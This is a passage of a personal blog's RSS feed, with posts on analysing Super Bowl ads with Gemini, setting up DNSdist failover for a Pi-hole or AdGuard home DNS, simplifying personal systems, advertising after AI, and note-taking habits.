&lt;li&gt;Sends each youtube URL to Gemini AI&lt;/li&gt;
&lt;li&gt;Gets back things like:
&lt;ul&gt;
&lt;li&gt;A 100 word summary of the ad itself&lt;/li&gt;
&lt;li&gt;A category representing the product/industry being advertised&lt;/li&gt;
&lt;li&gt;A list of keywords/tags that describe the themes used in the ad&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I also had to make sure that the categories/themes pick from a specific list of things rather than being completely left up to Gemini so that I can actually do aggregation/analysis of them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With this, I was able to convert the above data into something like below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;year&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;brand&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;GODADDY&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;“Social Slickness”&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;original_title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;GoDaddy Super Bowl LIX 2025 Ad “Social Slickness”&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;page_url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.superbowl-ads.com/godaddy-super-bowl-lix-2025-ad-social-slickness/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;video_url&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;https://www.youtube.com/embed/K2Gj9BufAqo?feature=oembed&amp;amp;autoplay=1&amp;amp;wmode=opaque&amp;amp;rel=0&amp;amp;showinfo=0&amp;amp;iv_load_policy=3&amp;amp;modestbranding=0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;The GoDaddy Super Bowl LIX ad \&amp;#34;Social Slickness\&amp;#34; features a series of short vignettes showcasing how people use GoDaddy&amp;#39;s website builder to create their own online presence. It highlights the ease of use and the diverse range of businesses and individuals using the platform. Quick cuts showcase different websites, from a dog groomer to a musician, emphasizing the accessibility and user-friendly nature of GoDaddy&amp;#39;s website building tools. The overall tone is upbeat and emphasizes empowerment and small business success.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;category&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Technology&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;theme_tags&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Humor&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Social Message&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Celebrity&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&lt;span style="color:#960050;background-color:#1e0010"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="part-3"&gt;Part 3&lt;/h3&gt;
&lt;p&gt;With this hand, I had a pretty malleable form of data that I could work with. Now, everyone knows that the easiest way to play around with data is plain old Microsoft Excel. So I got cursor to write another script yet again :D, this time to convert the json data into an excel sheet. I also got it to convert the themes into a one-hot encoding type scheme so it becomes easier to do pivot tables on them.&lt;/p&gt;
&lt;p&gt;I also had to do a lot of clean up manually, especially around brand names, because scraping is scraping and is marred by human errors in the original data as well as not being able to cover each and every edge case. There&amp;rsquo;s also some data missing (particularly from year 2017) but I think this doesn&amp;rsquo;t create much of an issue for the overall analysis.&lt;/p&gt;
&lt;p&gt;With all this, I had the data looking like below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-10-59-58.png" alt="Final Super Bowl Ads Historical Data"&gt;&lt;/p&gt;
&lt;h2 id="analysis--insights"&gt;Analysis &amp;amp; Insights&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;re into the juicy parts now :D&lt;/p&gt;
&lt;h3 id="categoriesindustries"&gt;Categories/Industries&lt;/h3&gt;
&lt;p&gt;First thing I did was to break down this data per the industry, and there were quite a few curious things that came out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Food &amp;amp; Beverages (Mostly beverages though) and Automotive are the biggest sectors in Super Bowl Ads&lt;/li&gt;
&lt;li&gt;Ironically, Sports &amp;amp; Fitness sector is one of the least represented, in one of the biggest sporting events&lt;/li&gt;
&lt;li&gt;Automotive and Entertainment started rising in representation after 2011. Probably signals recovery spending after the 2008 crash?&lt;/li&gt;
&lt;li&gt;Financial services had a big jump in 2021/2022. Probably playing on post-covid sentiment on the need to invest/save more?&lt;/li&gt;
&lt;li&gt;Automotive seems to be slowing down now in the past few years&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-11-04-15.png" alt="Category / Industry Breakdown for Super Bowl Ads Historical Data"&gt;&lt;/p&gt;
&lt;h3 id="themes"&gt;Themes&lt;/h3&gt;
&lt;p&gt;I also wanted to understand the kind of themes that the ads played on.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No surprises in the top themes. We all love and remember the funny ads from the past super bowls, and &lt;strong&gt;Humor&lt;/strong&gt; does indeed take the top spot, by a huge margin&lt;/li&gt;
&lt;li&gt;I wanted to see if &lt;strong&gt;Patriotism&lt;/strong&gt; has become more common theme in the last few years with all the politics and the nationalism waves going around, but doesn&amp;rsquo;t seem like so&lt;/li&gt;
&lt;li&gt;Going big if you are spending so much makes sense, so &lt;strong&gt;Cinmeatic&lt;/strong&gt; themes, using &lt;strong&gt;Celebrities&lt;/strong&gt; and &lt;strong&gt;Action&lt;/strong&gt; turned out to be pretty big as well, with ** Emotional** themes not being far behind&lt;/li&gt;
&lt;li&gt;For some reason, &lt;strong&gt;Family&lt;/strong&gt; theme has picked up in the last 7-8 years though traditionally it didn&amp;rsquo;t used to be so much used&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Social Message&lt;/strong&gt; themes are becoming more popular as well over the last 10 years.
&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-11-41-03.png" alt="Final Themes Breakdown for Super Bowl Ads Historical Data"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="brands"&gt;Brands&lt;/h3&gt;
&lt;p&gt;Finally we come to the part which started it all, the brands.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anheuser-Busch&lt;/strong&gt; (Bud light/ Budweiser etc) is the largest spender. Leading the pack year after year, although they&amp;rsquo;ve slowed down a bit compared to the early 2000s&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pepsi/Coke/Doritos&lt;/strong&gt; (Soft drinks/snack providers) follow as a distant second. &lt;strong&gt;Pepsi seems to outspend Coke by more than 2x in Super Bowl considering Dorritos is their sub brand as well&lt;/strong&gt; (There are a few other sub brands for both Coke and Pepsi as well in the list)&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s interesting to note that while there are occasional other snacks/soft drinks/beer brands that show up, but 3 of these brands (&lt;strong&gt;Anheuser-Busch, Pepsi and Coke outspend every other player by far&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;My thought process around these taking the top spot in advertiser list is that they probably want to associate drinking/snacking with the game time and use this as the right time to hit home to make people associate their brand as being synonymous with watching sports&lt;/li&gt;
&lt;li&gt;This is followed by movies/series etc ads which is expected to promote big budget content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ETrade&lt;/strong&gt; seems to be the sort of lone star in terms fo financial services brands coming back year after year&lt;/li&gt;
&lt;li&gt;Amongst the automotive brands, which is the second largest overall sector, more common ones seem to be the non-premium brands like &lt;strong&gt;Hyundai/Toyota/Kia&lt;/strong&gt; etc which take up the most space. I guess they need to spend big to make their recall better in a crowded market with not much differentiation in the product&lt;/li&gt;
&lt;li&gt;Amongst the tech companies, &lt;strong&gt;Amazon&lt;/strong&gt; shows most ads, but that includes their prime video content too. Other than that &lt;strong&gt;Google&lt;/strong&gt; is most common. &lt;strong&gt;Square space&lt;/strong&gt; showing up here is a bit surprising but they&amp;rsquo;ve been spending every year since last few years.&lt;/li&gt;
&lt;li&gt;Biggest surprise, &lt;strong&gt;YAHOO!&lt;/strong&gt; of all people had an ad in 2024 out of the blue with Bill Murray, promoting their email services lol.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2025/2025-02-12-11-47-06.png" alt="Brands Breakdown for Super Bowl Ads Historical Data"&gt;&lt;/p&gt;</content></item><item><title>Building a Resilient Home DNS Setup with DNSdist</title><link>https://shantanugoel.com/2025/01/02/resilient-home-dns-dnsdist/</link><pubDate>Thu, 02 Jan 2025 00:46:31 +0530</pubDate><guid>https://shantanugoel.com/2025/01/02/resilient-home-dns-dnsdist/</guid><description>&lt;p&gt;Running Pi-hole or AdGuard Home provides great network-wide ad blocking, but creates a single point of failure. When your DNS server crashes or needs maintenance, your entire network loses DNS resolution. I had this problem and thus far had chosen to do a sub-optimal solution of using both AdGuard DNS as well as an upstream Google DNS server in my internet gateway. &lt;code&gt;dnsmasq&lt;/code&gt; running on the gateway that manages DNS requests from all the clients in my network has no concept of a failover DNS server, or server priorities. It dispatches requests to all the servers it has configured, and &lt;em&gt;ideally&lt;/em&gt; should honor whichever servers responds first.&lt;/p&gt;</description><content>&lt;p&gt;Running Pi-hole or AdGuard Home provides great network-wide ad blocking, but creates a single point of failure. When your DNS server crashes or needs maintenance, your entire network loses DNS resolution. I had this problem and thus far had chosen to do a sub-optimal solution of using both AdGuard DNS as well as an upstream Google DNS server in my internet gateway. &lt;code&gt;dnsmasq&lt;/code&gt; running on the gateway that manages DNS requests from all the clients in my network has no concept of a failover DNS server, or server priorities. It dispatches requests to all the servers it has configured, and &lt;em&gt;ideally&lt;/em&gt; should honor whichever servers responds first.&lt;/p&gt;
&lt;p&gt;This worked, sort of, but I often had requests leaking through to upstream servers. I recently found out about &lt;code&gt;dnsdist&lt;/code&gt; and used that to fix it.&lt;/p&gt;
&lt;p&gt;We will use dnsdist as a DNS load balance to create a failover setup. It will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Route DNS queries to your primary ad-blocking DNS server&lt;/li&gt;
&lt;li&gt;Automatically failover to backup DNS server if the primary fails&lt;/li&gt;
&lt;li&gt;Switch back once the primary recovers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pi-hole/AdGuard Home already set up&lt;/li&gt;
&lt;li&gt;A device to run dnsdist (Raspberry Pi or any Linux system, but it should be different than the one running Pi-hole/AdGuard Home)&lt;/li&gt;
&lt;li&gt;Basic command line knowledge&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install dnsdist (Below command assumes debian or derivatives. Use corresponding command for other distros)&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install dnsdist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="2"&gt;
&lt;li&gt;Create a minimal config file at &lt;code&gt;/etc/dnsdist/dnsdist.conf&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-- Define DNS servers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;newServer&lt;span style="color:#f92672"&gt;({&lt;/span&gt;address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.1.10:53&amp;#34;&lt;/span&gt;, name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;primary&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;})&lt;/span&gt; -- Pi-hole/AdGuard
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;newServer&lt;span style="color:#f92672"&gt;({&lt;/span&gt;address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;9.9.9.9:53&amp;#34;&lt;/span&gt;, name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;quad9&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;})&lt;/span&gt; -- Backup DNS &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;newServer&lt;span style="color:#f92672"&gt;({&lt;/span&gt;address&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1.1.1.1:53&amp;#34;&lt;/span&gt;, name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;cloudflare&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;})&lt;/span&gt; -- Backup DNS &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-- Basic settings
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;setLocal&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0.0.0.0:53&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; -- Listen on all interfaces
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;setACL&lt;span style="color:#f92672"&gt;({&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;0.0.0.0/0&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;})&lt;/span&gt; -- Allow queries from anywhere
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-- Health checking
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;setServerPolicy&lt;span style="color:#f92672"&gt;(&lt;/span&gt;firstAvailable&lt;span style="color:#f92672"&gt;)&lt;/span&gt; -- Use first available server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2a. There are a lot of optional settings available to further customize things like health check interval, what kind of checks to use, how to determine a failover scenario, etc. You can check dnsdist man page for more details.&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Enable dnsdist service&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable --now dnsdist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Update your router&amp;rsquo;s DHCP settings to use the dnsdist server IP as the primary DNS, and the pi-hole/AdGuard DNS as the secondary DNS. Now, as long as both of them don&amp;rsquo;t go down at the same time, you will have a working DNS setup.&lt;/li&gt;
&lt;/ol&gt;</content></item><item><title>You Can Just Do Things (If You Simplify)</title><link>https://shantanugoel.com/2025/01/01/you-can-just-do-things-simplify/</link><pubDate>Wed, 01 Jan 2025 01:14:26 +0530</pubDate><guid>https://shantanugoel.com/2025/01/01/you-can-just-do-things-simplify/</guid><description>&lt;p&gt;Around an year ago, I spent a few weeks setting up the &amp;ldquo;perfect&amp;rdquo; workout tracking system. Custom spreadsheets, progress graphs, integration with my calendar, and so on. I was proud of this beast of a system. But you know what I didn&amp;rsquo;t do all those weeks, and several following ones? Actually work out.&lt;/p&gt;
&lt;p&gt;Sounds familiar?&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve all been there - caught in the trap of over-engineering solutions to problems that could be solved with a simple notebook and pen. We&amp;rsquo;ve become so good at planning, organizing, and systemizing that we&amp;rsquo;ve forgotten to just&amp;hellip;do things.&lt;/p&gt;</description><content>&lt;p&gt;Around an year ago, I spent a few weeks setting up the &amp;ldquo;perfect&amp;rdquo; workout tracking system. Custom spreadsheets, progress graphs, integration with my calendar, and so on. I was proud of this beast of a system. But you know what I didn&amp;rsquo;t do all those weeks, and several following ones? Actually work out.&lt;/p&gt;
&lt;p&gt;Sounds familiar?&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ve all been there - caught in the trap of over-engineering solutions to problems that could be solved with a simple notebook and pen. We&amp;rsquo;ve become so good at planning, organizing, and systemizing that we&amp;rsquo;ve forgotten to just&amp;hellip;do things.&lt;/p&gt;
&lt;p&gt;When I first started blogging, I created an elaborate system of categories, tags, cross-references and what not. It was a mess. A few years ago I simplified it a lot and reduced it down to just 4 categories and a few dozen tags. But still, it always gave me a pause when I started writing. How should I categorize a post about 3dprinting. Should it be under &lt;code&gt;3dprinting&lt;/code&gt; or &lt;code&gt;tools&lt;/code&gt; or both, or maybe a bunch of other things. I started this new year 2025 with nuking all categories and tags from my blog. 269 blog posts updated, poof!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2025/nuke-categories-tags.png" alt="Removing Categories and Tags From My Blog"&gt;&lt;/p&gt;
&lt;p&gt;This pattern shows up everywhere in our lives. We create elaborate note-taking systems with multiple apps, tons of tags, neatly created hierarchies to cover every possible scenario - and then spend more time maintaining the system than actually writing and using our notes. I wrote about it recently how &lt;a href="https://shantanugoel.com/2024/12/26/pkm-less-management-more-knowledge/"&gt;PKMs have become more management than knowledge&lt;/a&gt; and how I was trying to take it back to the original goal. The result? More notes taken, less tasks spilled over, more notes that I actually read back. I also posted recently on X/Twitter about how I like to keep my task management super simple.&lt;/p&gt;
&lt;p&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;I don&amp;#39;t like complicated task management. A very simple state machine with links to references and backlinks to progress is enough. &lt;a href="https://t.co/QekqnEIcW4"&gt;pic.twitter.com/QekqnEIcW4&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/1874000151590953030?ref_src=twsrc%5Etfw"&gt;December 31, 2024&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;a href="https://x.com/shantanugoel/status/1874000151590953030"&gt;https://x.com/shantanugoel/status/1874000151590953030&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The truth is, we often use complexity as a shield against the scary part: actually doing the thing. Writing that first word. Making that first sale. Lifting that first weight.&lt;/p&gt;
&lt;p&gt;Want to start a blog? Open a text editor, write and put it on github or just the root of the webserver. Want to get fit? Put on those shoes and walk around the block. Want to learn programming? Pick a language (any language, don&amp;rsquo;t spend weeks researching the &amp;ldquo;best one&amp;rdquo;) and write &amp;ldquo;hello world&amp;rdquo;, read a few basics and try to make any tiny thing that works.&lt;/p&gt;
&lt;p&gt;The beauty of simplification, however, isn&amp;rsquo;t just in getting started. The neat part it unlocks is &lt;code&gt;sustainability&lt;/code&gt;. Simple systems require less maintenance, less decision-making, and less emotional energy. They&amp;rsquo;re more resilient as well because there are lesser moving parts.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;But what about scaling?&lt;/code&gt; one might ask, or &lt;code&gt;what about optimization?&lt;/code&gt; Here&amp;rsquo;s the secret: We can always add complexity later on. We&amp;rsquo;d even be in a better position to pick and choose what parts and how to optimize. Even if things go south, we&amp;rsquo;d have things that we&amp;rsquo;ve done to show for and be proud of. The only permission slip we need is the realization that we don&amp;rsquo;t need to be a perfectionist. We don&amp;rsquo;t need the perfect system, don&amp;rsquo;t need all the right tools, don&amp;rsquo;t need that 5/10/20 year plan figured out. We can just start.&lt;/p&gt;
&lt;p&gt;So, once again, here&amp;rsquo;s the truth that liberates us:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You Can Just Do Things - If You Simplify&lt;/p&gt;
&lt;/blockquote&gt;</content></item><item><title>Advertising in a Post AI World</title><link>https://shantanugoel.com/2024/12/31/advertising-post-ai-world/</link><pubDate>Tue, 31 Dec 2024 12:33:19 +0530</pubDate><guid>https://shantanugoel.com/2024/12/31/advertising-post-ai-world/</guid><description>&lt;p&gt;Aravind Srinivas (Perplexity) recently talked about how advertising might work in a future dominated by AI. His vision? A world where we never see ads because our AI agents handle them all behind the scenes. Sounds neat, but I&amp;rsquo;m not entirely convinced.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2024/aravind-ads-ai.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the thing. What Aravind describes isn&amp;rsquo;t really advertising. It&amp;rsquo;s more like super powered comparison shopping.&lt;/p&gt;
&lt;p&gt;Taking his example of &amp;ldquo;Book me two nights at Rambagh&amp;rdquo;, the &amp;ldquo;human&amp;rdquo; equivalent of this is a human agent (Either yourself or a physical agent). One who goes to let&amp;rsquo;s say MakeMyTrip, or Google Flights, or Booking/Agoda/Airbnb etc to see and compare deals and then booking the best one. Maybe the human agent will also take decisions around the location, and the view, and the services/reviews besides just the cost to make it a well rounded decision. But essentially, this is a filtering of offers, not advertising.&lt;/p&gt;</description><content>&lt;p&gt;Aravind Srinivas (Perplexity) recently talked about how advertising might work in a future dominated by AI. His vision? A world where we never see ads because our AI agents handle them all behind the scenes. Sounds neat, but I&amp;rsquo;m not entirely convinced.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/2024/aravind-ads-ai.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the thing. What Aravind describes isn&amp;rsquo;t really advertising. It&amp;rsquo;s more like super powered comparison shopping.&lt;/p&gt;
&lt;p&gt;Taking his example of &amp;ldquo;Book me two nights at Rambagh&amp;rdquo;, the &amp;ldquo;human&amp;rdquo; equivalent of this is a human agent (Either yourself or a physical agent). One who goes to let&amp;rsquo;s say MakeMyTrip, or Google Flights, or Booking/Agoda/Airbnb etc to see and compare deals and then booking the best one. Maybe the human agent will also take decisions around the location, and the view, and the services/reviews besides just the cost to make it a well rounded decision. But essentially, this is a filtering of offers, not advertising.&lt;/p&gt;
&lt;p&gt;An AI agent would replace this manual process into an automated deal hunting, albeit a very sophisticated version of it.&lt;/p&gt;
&lt;p&gt;Real advertising is something entirely different. It&amp;rsquo;s not just about showing you the best price or the most relevant option. It&amp;rsquo;s about creating desire, building an emotional connection, and sometimes (many times, rather) even making you want things that you don&amp;rsquo;t need, or ever knew that you wanted.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is basically psychology (advertising) vs logistics (AI deal hunting)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Before we move on, we should also talk about &lt;strong&gt;Sponsored listings&lt;/strong&gt;. This is where you see someone paying to show up in the top results when you search for a hotel. We might say that this is a form of advertising that shows up often in search results and deal hunting. I agree that this might still exist, but I think in a post AI world this becomes likely less important where there is enough compute available to the AI agent to sift through 1000s of results without having someone to show up in the &amp;ldquo;top&amp;rdquo; results&lt;/p&gt;
&lt;p&gt;Now, if anything, I believe traditional advertising (not talking about the formats and channels here) might become even more prevalent in an AI-powered future. Think about it - If AI handles more and more of our mundane tasks, we have more leisure time left to ourselves. More time to consume media, more time to explore new experiences, and yes, more time to be influenced by advertising.&lt;/p&gt;
&lt;p&gt;Just look at any sci-fi depictions of the future - from Blade Runner to Cyberpunk 2077. They all show cities plastered with advertisements, and there&amp;rsquo;s a reason for that.&lt;/p&gt;
&lt;p&gt;Sure, my AI assistant might be great at finding me the best hotel deal or the most efficient flight route. But can it decide what makes me feel good? Some might say that with extreme personalization and increasing compute, it can use those as parameters as well. But I think even for that the user would be feeding in that information to the agent. The agent cannot experience the emotional pull of a well-crafted marketing campaign, or be charmed by clever branding or moved by a powerful story.&lt;/p&gt;
&lt;p&gt;This does not mean AI has no place in advertising. It&amp;rsquo;s already a big part of today&amp;rsquo;s advertising and will continue to grow. Advertisers do (and will continue to) use AI to learn more patterns about human behavior, optimizing their campaigns and reach, but the goal would still be to speak to human hearts and minds. Convincing an AI agent running calculations in the background would be a side effect.&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s why I think Aravind&amp;rsquo;s vision, while interesting, misses a crucial point about what advertising really is. The future of advertising isn&amp;rsquo;t about eliminating human involvement - it&amp;rsquo;s about finding new ways to connect with humans who will have more time and attention to spare.&lt;/p&gt;</content></item><item><title>PKMs: Less Management, More Knowledge</title><link>https://shantanugoel.com/2024/12/26/pkm-less-management-more-knowledge/</link><pubDate>Thu, 26 Dec 2024 16:42:03 +0530</pubDate><guid>https://shantanugoel.com/2024/12/26/pkm-less-management-more-knowledge/</guid><description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;PKM: Personal Knowledge Management&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I love it. I love taking notes. I love saving all bits and bobs of information that I come across. Bookmarks, memes, quotes, code snippets, whatever. I love it.&lt;/p&gt;
&lt;p&gt;But I run into a bunch of issues with them.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I can&amp;rsquo;t find them. I can&amp;rsquo;t remember them. I can&amp;rsquo;t use them.&lt;/li&gt;
&lt;li&gt;I spend a lot more time managing them than I do learning.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had an epiphany recently that why was I so miserable with my PKMs? In my quest for the perfect knowledge management system, I&amp;rsquo;ve made a lot of mistakes which lead to the above issues:&lt;/p&gt;</description><content>&lt;p&gt;&lt;em&gt;&lt;strong&gt;PKM: Personal Knowledge Management&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I love it. I love taking notes. I love saving all bits and bobs of information that I come across. Bookmarks, memes, quotes, code snippets, whatever. I love it.&lt;/p&gt;
&lt;p&gt;But I run into a bunch of issues with them.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I can&amp;rsquo;t find them. I can&amp;rsquo;t remember them. I can&amp;rsquo;t use them.&lt;/li&gt;
&lt;li&gt;I spend a lot more time managing them than I do learning.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had an epiphany recently that why was I so miserable with my PKMs? In my quest for the perfect knowledge management system, I&amp;rsquo;ve made a lot of mistakes which lead to the above issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trying to organize them very thoroughly. Create deeply thoughtful, insanely hierarchical structures of folders and files (or similar concepts represented in various apps)&lt;/li&gt;
&lt;li&gt;Trying to do everything in a single app.&lt;/li&gt;
&lt;li&gt;Running after a shit ton of features.&lt;/li&gt;
&lt;/ul&gt;
